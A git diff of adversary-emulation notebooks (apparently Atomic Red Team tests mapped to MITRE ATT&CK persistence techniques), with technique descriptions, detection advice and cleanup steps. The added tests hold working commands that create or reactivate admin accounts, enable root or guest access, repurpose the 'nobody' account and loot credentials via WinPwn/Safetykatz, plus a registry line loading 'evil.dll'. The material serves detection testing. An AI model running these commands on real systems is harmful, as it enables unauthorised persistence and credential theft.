HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs." - }, - { - "cell_type": "markdown", - "id": "d4e51b4f", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "e609f3a2", - "metadata": {}, - "source": "## Detection\nMonitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1062.ipynb b/playbook/tactics/persistence/T1062.ipynb deleted file mode 100644 index 420fae13..00000000 --- a/playbook/tactics/persistence/T1062.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "4522f97c", - "metadata": {}, - "source": "# T1062 - Hypervisor\n**This technique has been deprecated and should no longer be used.**\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption." - }, - { - "cell_type": "markdown", - "id": "aa0550c6", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "44c254d9", - "metadata": {}, - "source": "## Detection\nType-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1067.ipynb b/playbook/tactics/persistence/T1067.ipynb deleted file mode 100644 index d49d57c2..00000000 --- a/playbook/tactics/persistence/T1067.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "04532e39", - "metadata": {}, - "source": "# T1067 - Bootkit\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code." - }, - { - "cell_type": "markdown", - "id": "098fc7dd", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "bc472f8d", - "metadata": {}, - "source": "## Detection\nPerform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1078.001.ipynb b/playbook/tactics/persistence/T1078.001.ipynb index 5363e2e8..9c0d46a2 100644 --- a/playbook/tactics/persistence/T1078.001.ipynb +++ b/playbook/tactics/persistence/T1078.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "22c77289", + "id": "473ba45e", "metadata": {}, "source": "# T1078.001 - Default Accounts\nAdversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)" }, { "cell_type": "markdown", - "id": "55684142", + "id": "092c2904", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f62f76d5", + "id": "92b5a291", "metadata": {}, "source": [ "### Atomic Test #1 - Enable Guest account with RDP capability and admin privileges", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b9edb491", + "id": "bc8696a0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a3c0d3d4", + "id": "99b3dca6", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet user guest /active:no >nul 2>&1\nnet localgroup Administrators guest /delete >nul 2>&1\nnet localgroup \"Remote Desktop Users\" guest /delete >nul 2>&1\nif 0 NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)\nif 0 EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /f >nul 2>&1)\nif 0 EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /f >nul 2>&1)```" }, { "cell_type": "code", "execution_count": null, - "id": "1704ed57", + "id": "9cbfb90e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "da5ce561", + "id": "6c8709e0", "metadata": {}, "source": [ "### Atomic Test #2 - Activate Guest Account", @@ -63,28 +63,63 @@ { "cell_type": "code", "execution_count": null, - "id": "71813161", + "id": "009e7229", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "c15573b0", + "id": "a62dd68a", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet user guest /active:no\n```" }, { "cell_type": "code", "execution_count": null, - "id": "803e3079", + "id": "5d189393", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "6b6bb921", + "id": "605768b6", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Enable Guest Account on macOS", + "This test enables the guest account on macOS using sysadminctl utility.", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nsudo sysadminctl -guestAccount on```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b1b6c4b8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.001 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "e6de65d0", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nsudo sysadminctl -guestAccount off```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "eeb936be", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.001 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "87413974", "metadata": {}, "source": "## Detection\nMonitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately." } @@ -92,13 +127,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1078.002.ipynb b/playbook/tactics/persistence/T1078.002.ipynb index 6ed65b52..460c8c0a 100644 --- a/playbook/tactics/persistence/T1078.002.ipynb +++ b/playbook/tactics/persistence/T1078.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "97c89c04", + "id": "ba1d934e", "metadata": {}, "source": "# T1078.002 - Domain Accounts\nAdversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain." }, { "cell_type": "markdown", - "id": "9d2a7e92", + "id": "9d103adb", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ce12b5db", + "id": "1a9ff614", "metadata": {}, "source": "## Detection\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1078.003.ipynb b/playbook/tactics/persistence/T1078.003.ipynb index 3bb842a5..adcaf495 100644 --- a/playbook/tactics/persistence/T1078.003.ipynb +++ b/playbook/tactics/persistence/T1078.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9a365f66", + "id": "5649712d", "metadata": {}, "source": "# T1078.003 - Local Accounts\nAdversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. " }, { "cell_type": "markdown", - "id": "531258ba", + "id": "2fe04c4b", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "31d8ec41", + "id": "675da0cb", "metadata": {}, "source": [ "### Atomic Test #1 - Create local account with admin privileges", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "498cca4d", + "id": "38c32823", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "cda42100", + "id": "cba0c5ca", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet localgroup administrators art-test /delete >nul 2>&1\nnet user art-test /delete >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "9bf5baa6", + "id": "5754ea42", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "f40ead7a", + "id": "dd698a4c", "metadata": {}, "source": [ "### Atomic Test #2 - Create local account with admin privileges - MacOS", @@ -63,31 +63,136 @@ { "cell_type": "code", "execution_count": null, - "id": "fad0ffe5", + "id": "cefe7f21", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "38bf27b3", + "id": "e4cb9989", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo dscl . -delete /Users/AtomicUser```" }, { "cell_type": "code", "execution_count": null, - "id": "96d382b2", + "id": "f48c2699", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "6484837f", + "id": "3329c134", "metadata": {}, "source": [ - "### Atomic Test #3 - WinPwn - Loot local Credentials - powerhell kittie", + "### Atomic Test #3 - Create local account with admin privileges using sysadminctl utility - MacOS", + "After execution the new account will be active and added to the Administrators group", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nsysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3be79ec1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "866b1b74", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nsysadminctl interactive -deleteUser art-tester```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5842750b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "edb4b676", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Enable root account using dsenableroot utility - MacOS", + "After execution the current/new user will have root access", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\ndsenableroot #current user\ndsenableroot -u art-tester -p art-tester -r art-root #new user```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "98b58fe8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "f1e99120", + "metadata": {}, + "source": "#### Cleanup: \n```bash\ndsenableroot -d #current user\ndsenableroot -d -u art-tester -p art-tester #new user```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9cfd37bf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "71b2abae", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Add a new/existing user to the admin group using dseditgroup utility - macOS", + "After execution the current/new user will be added to the Admin group", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\ndseditgroup -o edit -a art-user -t user admin```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4adacf3f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "654c3f8c", + "metadata": {}, + "source": "#### Cleanup: \n```bash\ndseditgroup -o edit -d art-user -t user admin```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a60173fb", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "24a30dcf", + "metadata": {}, + "source": [ + "### Atomic Test #6 - WinPwn - Loot local Credentials - powerhell kittie", "Loot local Credentials - powerhell kittie technique via function of WinPwn", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -98,17 +203,17 @@ { "cell_type": "code", "execution_count": null, - "id": "fdd1a0a1", + "id": "5125c772", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1078.003 -TestNumbers 3" + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "e78f5ce2", + "id": "756d8f37", "metadata": {}, "source": [ - "### Atomic Test #4 - WinPwn - Loot local Credentials - Safetykatz", + "### Atomic Test #7 - WinPwn - Loot local Credentials - Safetykatz", "Loot local Credentials - Safetykatz technique via function of WinPwn", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -119,14 +224,189 @@ { "cell_type": "code", "execution_count": null, - "id": "59e56bc0", + "id": "ad797ff5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1078.003 -TestNumbers 4" + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "8fdce4ec", + "metadata": {}, + "source": [ + "### Atomic Test #8 - Create local account (Linux)", + "An adversary may wish to create an account with admin privileges to work with. In this test we create a \"art\" user with the password art, switch to art, execute whoami, exit and delete the art user.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\npassword=$(openssl passwd -1 art)\n([ \"$(uname)\" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))\nsu art -c \"whoami; exit\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7b8a3d58", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 8" + }, + { + "cell_type": "markdown", + "id": "47f187af", + "metadata": {}, + "source": "#### Cleanup: \n```bash\n[ \"$(uname)\" = 'Linux' ] && userdel art -rf || rmuser -y art\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9bb735ec", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 8 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "647efd62", + "metadata": {}, + "source": [ + "### Atomic Test #9 - Reactivate a locked/expired account (Linux)", + "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nuseradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art\nusermod --lock art\nusermod --expiredate \"1\" art\nusermod --unlock art\nusermod --expiredate \"99999\" art\nsu art\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8b2414e5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "317a6353", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nuserdel -r art \n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1dcb7e75", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 9 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "afb48b9c", + "metadata": {}, + "source": [ + "### Atomic Test #10 - Reactivate a locked/expired account (FreeBSD)", + "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\npw useradd art -g wheel -s /bin/sh\necho $(openssl passwd -1 art) | pw mod user testuser1 -h 0\npw lock art\npw usermod art -e +1d\npw unlock art\npw user mod art -e +99d\nsu art\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a7313179", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "8d2ee492", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrmuser -y art \n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0168ca24", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "cbd7b324", + "metadata": {}, + "source": [ + "### Atomic Test #11 - Login as nobody (Linux)", + "An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nchsh --shell /bin/bash nobody\nusermod --password $(openssl passwd -1 nobody) nobody\nsu nobody\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8d9bd3b0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 11" + }, + { + "cell_type": "markdown", + "id": "254eb7ac", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nchsh --shell /usr/sbin/nologin nobody\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c5f22784", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 11 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "b7165894", + "metadata": {}, + "source": [ + "### Atomic Test #12 - Login as nobody (freebsd)", + "An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin\npw usermod nobody -s /bin/sh\necho $(openssl passwd -1 art) | pw mod user nobody -h 0\nsu nobody\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "caff472f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 12" + }, + { + "cell_type": "markdown", + "id": "eff9fc1f", + "metadata": {}, + "source": "#### Cleanup: \n```sh\npw usermod nobody -s /usr/sbin/nologin\ncat /etc/passwd |grep nobody\n# -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5f4994d0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "422d5d3f", + "id": "c6e923ad", "metadata": {}, "source": "## Detection\nPerform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours." } @@ -134,13 +414,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1078.004.ipynb b/playbook/tactics/persistence/T1078.004.ipynb index 4bfd7091..57bbc788 100644 --- a/playbook/tactics/persistence/T1078.004.ipynb +++ b/playbook/tactics/persistence/T1078.004.ipynb @@ -2,64 +2,154 @@ "cells": [ { "cell_type": "markdown", - "id": "68385ba3", + "id": "ca640f0d", "metadata": {}, - "source": "# T1078.004 - Cloud Accounts\nAdversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges." + "source": "# T1078.004 - Cloud Accounts\nValid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud or be hybrid joined between on-premises systems and the cloud through federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n" }, { "cell_type": "markdown", - "id": "e2625916", + "id": "a7fb4063", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "5f06dcef", + "id": "1af70fb5", "metadata": {}, - "source": "### Atomic 